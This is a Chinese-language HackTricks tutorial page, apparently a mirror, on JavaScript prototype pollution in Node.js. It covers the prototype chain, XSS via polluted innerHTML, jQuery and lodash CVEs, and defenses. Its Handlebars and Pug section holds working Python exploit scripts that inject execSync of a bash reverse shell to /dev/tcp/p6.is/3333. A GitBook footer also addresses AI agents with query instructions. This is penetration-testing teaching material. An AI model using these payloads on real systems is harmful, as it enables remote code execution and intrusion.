> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md).

# NodeJS - \_\_proto\_\_ & prototype Pollution

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## JavaScript中的对象 <a href="#id-053a" id="id-053a"></a>

JavaScript中的对象本质上是键值对的集合，称为属性。可以使用`Object.create`方法并将`null`作为参数来创建一个空对象。这种方法允许创建一个没有任何继承属性的对象。

```javascript
// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.
```

### JavaScript中的函数和类

在JavaScript中，类和函数密切相关，函数经常充当类的构造函数。尽管JavaScript缺乏原生类支持，但构造函数可以模拟类的行为。

```javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__
```

### JavaScript中的原型

JavaScript允许在运行时修改、添加或删除原型属性。这种灵活性使得可以动态扩展类的功能。

`toString`和`valueOf`等函数可以被修改以改变它们的行为，展示了JavaScript原型系统的适应性。

## 继承

在基于原型的编程中，属性/方法是从类中的对象继承的。这些类是通过将属性/方法添加到另一个类的实例或空对象中创建的。

值得注意的是，当将属性添加到充当其他对象原型的对象（如`myPersonObj`）时，继承对象就可以访问这个新属性。然而，除非显式调用，否则这个属性不会自动显示。

## \_\_proto\_\_污染 <a href="#id-0d0a" id="id-0d0a"></a>

## 探索JavaScript中的原型污染

JavaScript对象由键值对定义，并从JavaScript对象原型继承。这意味着修改Object原型可能会影响环境中的所有对象。

让我们使用一个不同的示例来说明：

```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
```

可以通过以下方式访问对象原型：

```javascript
car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;
```

通过向Object原型添加属性，每个JavaScript对象都将继承这些新属性：

```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true
```

## 原型污染

对于限制了 `__proto__` 使用的情况，修改函数的原型是一种替代方法：

```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;
```

这仅影响从`Vehicle`构造函数创建的对象，为它们提供`beep`、`hasWheels`、`honk`和`isElectric`属性。

全局影响JavaScript对象的两种方法包括：

1. 直接污染`Object.prototype`：

```javascript
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
```

2. 污染常用结构的构造函数原型：

```javascript
var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };
```

## 污染其他对象

### 从类到Object.prototype

在一个场景中，您可以**污染特定对象**并且需要**访问`Object.prototype`**，您可以使用类似以下代码进行搜索：

```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
```

### 数组元素污染

请注意，正如您可以污染JS对象的属性一样，如果您可以污染一个数组，您也可以**污染可以通过索引访问的数组的值**（请注意，您无法覆盖值，因此您需要污染某种方式使用但未写入的索引）。

```javascript
c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```

### Html元素污染

在通过JS生成HTML元素时，可以**覆盖** **`innerHTML`** 属性，使其编写**任意HTML代码。** [灵感和示例来自此文章](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。

{% code overflow="wrap" %}

```javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
```

{% endcode %}

## 例子

### 基本示例

原型污染是由于应用程序中存在漏洞，允许在 `Object.prototype` 上覆盖属性。这意味着由于大多数对象从 `Object.prototype` 派生其属性

最简单的示例是向将要被检查的对象的**未定义属性**添加一个值，如：

```javascript
if (user.admin) {
```

如果属性 **`admin` 未定义**，就有可能滥用原型污染并将其设置为 True，类似于以下操作：

```javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```

这背后的机制涉及操纵属性，以便如果攻击者控制某些输入，他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 `__proto__` 属性，在JavaScript中，这与直接修改对象的原型是同义的。

可以成功执行此攻击的条件，如特定[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)中所述，包括：

* 执行递归合并。
* 基于路径定义属性。
* 克隆对象。

### 覆盖函数

```python
customer.__proto__.toString = ()=>{alert("polluted")}
```

### Proto污染到RCE

{% content-ref url="/pages/KaWVBGPaRl2m2sw1PhPZ" %}
[Prototype Pollution to RCE](/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md)
{% endcontent-ref %}

其他有效载荷：

* <https://github.com/KTH-LangSec/server-side-prototype-pollution>

## 客户端原型污染到XSS

{% content-ref url="/pages/CqzZo243o9fnrGvXFQGV" %}
[Client Side Prototype Pollution](/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md)
{% endcontent-ref %}

### CVE-2019–11358：通过jQuery $ .extend进行原型污染攻击

[有关更多详细信息，请查看此文章](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) 在jQuery中，如果深度复制功能被错误使用，`$ .extend` 函数可能导致原型污染。该函数通常用于克隆对象或从默认对象合并属性。但是，当配置错误时，本应分配给新对象的属性可能被分配给原型。例如：

```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
```

这个漏洞，被标识为CVE-2019-11358，说明了深拷贝可能会无意中修改原型，导致潜在的安全风险，比如如果像`isAdmin`这样的属性在没有适当存在验证的情况下被检查，可能导致未经授权的管理员访问。

### CVE-2018-3721，CVE-2019-10744：通过lodash进行原型污染攻击

[有关更多详细信息，请查看此文章](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)

[Lodash](https://www.npmjs.com/package/lodash) 遇到了类似的原型污染漏洞（CVE-2018-3721，CVE-2019-10744）。这些问题已在版本4.17.11中得到解决。

### 具有CVE的另一个教程

{% embed url="<https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2>" %}

### 用于检测原型污染的工具

* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner)：Burp Suite扩展程序，旨在检测和分析Web应用程序中的服务器端原型污染漏洞。该工具自动化扫描请求的过程，以识别潜在的原型污染问题。它利用已知的小工具（gadgets）- 利用原型污染执行有害操作的方法 - 特别关注Node.js库。
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution)：此扩展程序识别服务器端原型污染漏洞。它使用[服务器端原型污染](https://portswigger.net/research/server-side-prototype-pollution)中描述的技术。

### NodeJS中的AST原型污染

NodeJS在JavaScript中广泛使用抽象语法树（AST）来实现功能，如模板引擎和TypeScript。本节探讨了与模板引擎中原型污染相关的漏洞，特别是Handlebars和Pug。

#### Handlebars漏洞分析

Handlebars模板引擎容易受到原型污染攻击。此漏洞源自`javascript-compiler.js`文件中的特定函数。例如，`appendContent`函数会在存在`pendingContent`时连接它，而`pushSource`函数在添加源代码后将`pendingContent`重置为`undefined`。

**利用过程**

利用AST（抽象语法树）由Handlebars生成，遵循以下步骤：

1. **解析器的操纵**：首先，解析器通过`NumberLiteral`节点强制值为数字。原型污染可以绕过这一点，使非数字字符串插入。
2. **编译器的处理**：编译器可以处理AST对象或字符串模板。如果`input.type`等于`Program`，则将输入视为预解析，可以被利用。
3. **代码注入**：通过操纵`Object.prototype`，可以将任意代码注入模板函数，可能导致远程代码执行。

演示利用Handlebars漏洞的示例：

```javascript
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());
```

这段代码展示了攻击者如何将任意代码注入Handlebars模板中。

**外部参考**: 在'flat'库中发现了与原型污染相关的问题，详细信息请参阅: [GitHub上的问题](https://github.com/hughsk/flat/issues/105)。

**外部参考**: [与'flat'库中原型污染相关的问题](https://github.com/hughsk/flat/issues/105)

Python中原型污染利用的示例:

```python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)
```

#### Pug漏洞

Pug，另一个模板引擎，面临着原型污染的类似风险。有关更详细的信息，请参阅[Pug中的AST注入讨论](https://blog.p6.is/AST-Injection/#Pug)。

```python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)
```

### 预防措施

为了减少原型污染的风险，可以采用以下列出的策略：

1. **对象不可变性**：可以通过应用 `Object.freeze` 来使 `Object.prototype` 不可变。
2. **输入验证**：JSON 输入应该严格根据应用程序的模式进行验证。
3. **安全合并函数**：应避免不安全使用递归合并函数。
4. **无原型对象**：可以使用 `Object.create(null)` 来创建没有原型属性的对象。
5. **使用 Map**：应该使用 `Map` 而不是 `Object` 来存储键值对。
6. **库更新**：可以通过定期更新库来整合安全补丁。
7. **代码检查工具**：使用诸如 ESLint 等适当插件的工具来检测和防止原型污染漏洞。
8. **代码审查**：实施彻底的代码审查，以识别和修复与原型污染相关的潜在风险。
9. **安全培训**：教育开发人员有关原型污染的风险以及编写安全代码的最佳实践。
10. **谨慎使用库**：在使用第三方库时要谨慎。评估它们的安全状况并审查它们的代码，特别是那些操作对象的代码。
11. **运行时保护**：采用运行时保护机制，例如使用专注于安全的 npm 包，可以检测和防止原型污染攻击。

## 参考资料

* <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>
* <https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l>
* <https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7>
* <https://blog.p6.is/AST-Injection/>

<details>

<summary><strong>从零开始学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
